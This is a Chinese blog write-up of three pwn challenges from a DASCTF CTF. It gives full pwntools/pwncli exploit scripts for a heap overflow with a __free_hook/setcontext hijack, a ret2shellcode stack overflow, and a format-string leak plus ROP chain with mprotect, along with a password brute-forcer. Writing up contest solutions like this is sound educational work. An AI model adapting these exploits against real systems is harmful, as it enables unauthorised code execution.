Loading

DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp

DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp

总结

10:30才起床做题......pwn是三道简单题,datasystem拿了个一血。hahapwn的远程靶机有问题,远程交互时惊现flag{flag_test}。我沉思片刻,随即怀着忐忑的心情点了提交,然而这个flag并不正确,有点迷。

  • datasystem: 堆溢出 + setcontext
  • hehepwnshellcode
  • hahapwn:格式化字符串+栈溢出

datasystem

保护全开

image-20210925153451706

系统调用禁得很佛系,arch也没检查,系统调用号范围也没检查:

image-20210925153716160

给的libc版本是2.27,有tcache

check分析

一进来有个check函数,要求输入usernamepasswd

image-20210925153855114

最后需要通过校验:

image-20210925154021784

从上图也能看出username的校验是判断等不等于admin,这里循环次数是6,所以输入的时候后面带个\x00才能通过username的校验。

passwd有点复杂,不过可以直接用ida远程调试,查看一下比较s1s2的时候,其值为多少。先随便输入密码,比如我先输入为passwdadmin123,发现s2是一个16进制字符串:

image-20210925154530033

image-20210925154848046

s1还看不出什么,然后我直接拷贝了s2作为密码输入:

image-20210925154933098

然后发现s2的第1个字符变成了\x00

image-20210925155018438

之后换别的密码,但是s2第一个字符始终不是\x00。这个时候,我猜测是不是密码的长度要为32。于是分别输入32a32b,发现s2的第一个字符始终为\x00

有这么一个规律后,接下来可以爆破passwd了。就是枚举爆破某次密码得到的s1开头也是\x00,那么strcmp就能通过比较:

  • 枚举所有的字符
  • 输入32个同样的字符作为密码,判断是否通过校验
  • 通过校验即可以作为有效的密码

爆破的脚本如下:

import string
from pwn import *
context.log_level="error"
for c in range(0x100):
    c = c.to_bytes(1, 'big')
    p = process('./datasystem')
    p.sendafter("please input username: ", "admin\x00")
    p.sendafter("please input password: ", c*32)
    msg = p.recvline()
    if b"Fail" not in msg:
        print('='*60)
        print("a valid char:", c)
        print('='*60)
    p.close()

最后得到两个可以用的密码:

image-20210925160351278

check的分析即可告一段落,之后就是常规的堆溢出的题。

漏洞点

add分支,输入内容的时候,存在堆溢出,这的size总是0x506

image-20210925160727986

也可以用gdb看一把:

image-20210925160934214

利用思路

  • 构造一个unsorted bin
  • 利用chunkfdbk残留的的地址泄露出libc地址
  • 利用堆溢出覆盖free chunkfd__free_hook - 0x200地址
  • 分配到__free_hook - 0x200处,覆盖__free_hooksetcontext+53
  • 利用程序mmap0x23330000这一段rwx内存执行shellcode,先读入shellcode,然后跳转执行即可

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def login():
    p.sendafter("please input username: ", "admin\x00")
    p.sendafter("please input password: ", "c"*32)


def add(size, data="a\n"):
    p.sendlineafter(">> :\n", "1")
    p.sendlineafter("Size: \n", str(size))
    p.sendafter("what's your Content: \n", data)


def delete(idx):
    p.sendlineafter(">> :\n", "2")
    p.sendlineafter("Index:\n", str(idx))

def show(idx):
    p.sendlineafter(">> :\n", "3")
    p.sendlineafter("Index:\n", str(idx))
    m = p.recvline()
    info(f"Get info:{m}")
    return m

def edit(idx, data):
    p.sendlineafter(">> :\n", "4")
    p.sendlineafter("Index:\n", str(idx))
    p.sendafter("Content:\n", data)

login()

add(0x420)
add(0x10) # 1

# get unsorted bin 
delete(0)

# leak libc addr
add(0x8, "a"*8)
edit(0, "a"*8)

m = show(0)
libc_base_addr = u64_ex(m[0x11:0x17])- 0x3ec090
log_libc_base_addr(libc_base_addr) 
libc.address = libc_base_addr

# overflow write
add(0x20) # 2
delete(2)
delete(0)
add(0x10, flat({0x10:[0, 0x311, libc.sym['__free_hook']-0x200]}))

add(0x20)

# setcontext to exec shellcode 
payload = flat({
    0x200:libc.sym['setcontext']+53,
    0x100: 0x23330000, # rsp
    0xa0: libc.sym['__free_hook']-0x100 ,# rsp
    0x68: 0, # rdi
    0x70: 0x23330000, # rsi
    0x88: 0x200,
    0xa8: libc.sym['read'] # rcx
}, filler="\x00")
add(0x20, payload)

delete(3)

sleep(1)

# send shellcode
p.sendline(asm(shellcraft.cat("/flag")))

p.interactive()

远程打:

image-20210925161955747

hehepwn

什么保护都没有,白给

image-20210925152001285

漏洞点

填满0x20个字符后可泄露栈地址:

image-20210925151910507

栈溢出:

image-20210925152030008

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']

p.sendafter("well you input:\n", "a"*0x20)
m = p.recvuntil("\x7f")

# leak stack addr
addr = u64_ex(m[-6:])
log_address("stack addr", addr)

# ret2shellcode
p.sendlineafter("EASY PWN PWN PWN~\n", flat({0:asm(shellcraft.cat('/flag')), 0x58: addr - 0x50}))

p.interactive()

远程打:

image-20210925162147990

hahapwn

开启了NXCanary,给的libc版本是2.23的:

image-20210925152254158

强行禁用了execve

image-20210925152426536

漏洞点

格式化字符串和栈溢出:

image-20210925152501752

远程靶机很诡异啊,泄露出地址后,我用libc.sym['read']执行read会失败,但是用二进制文件的read@plt可以成功,还有pop rdx; pop rsi; ret远程也会失败,就很迷。后来改了下gadgets,然后喜提test flag

image-20210925152821175

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
libc: ELF = gift['libc']

# leak canary value, stack address and libc address using printf vulnerability
# offset 6
p.sendafter("Welcome! What is your name?\n", "%25$p,%27$p,%28$p")
m = p.recvline_startswith('0x')
log_ex(f"{m}")
leak_addr = int16(m[:14].decode()) - 324 - libc.sym['setvbuf']
log_libc_base_addr(leak_addr)
libc.address = leak_addr

canary = int16(m[15:33].decode())
log_address("canary", canary)

stack_addr = int16(m[34:48].decode())
log_address("stack", stack_addr)
start_addr = stack_addr - 0xc0

bss_addr = 0x601080
read_addr = 0x4005e0
puts_addr = 0x4005b0

# use gadgets searching from libc
libc_rdi_ret = leak_addr + 0x0000000000021112
libc_rdx_ret = leak_addr + 0x0000000000001b92
libc_rsi_ret = leak_addr + 0x00000000000202f8
libc_rax_ret = leak_addr + 0x000000000003a738
libc_syscall_ret = leak_addr + 0x00000000000bc3f5

payload = flat([
    0x68*"a",
    canary,
    0, 
    libc_rdi_ret, 0,
    libc_rsi_ret, bss_addr,
    libc_rdx_ret, 800,
    read_addr, # read shellcode
    libc_rdi_ret, bss_addr,
    puts_addr,
    libc_rdi_ret, bss_addr &~0xfff,
    libc_rsi_ret, 0x1000,
    libc_rdx_ret, 7,
    libc_rax_ret, SyscallNumber.amd64.MPROTECT, # mprotect changes page attribute to rwx
    libc_syscall_ret,
    bss_addr
], filler="\x00", length=0x200)

p.sendafter("What can we help you?\n", payload)

# send shellcode
p.send(asm(shellcraft.cat('/flag')))

flag_ = p.recvline_startswith("flag")

log_ex(f"Get flag: {flag_}")

p.interactive()

exp均使用我自己写的小工具pwncli编写,欢迎试用~

其他链接

1、My Blog

2、Ctf Wiki

3、pwncli

posted @ 2021-09-25 21:13  LynneHuan  阅读(907)  评论(0编辑  收藏  举报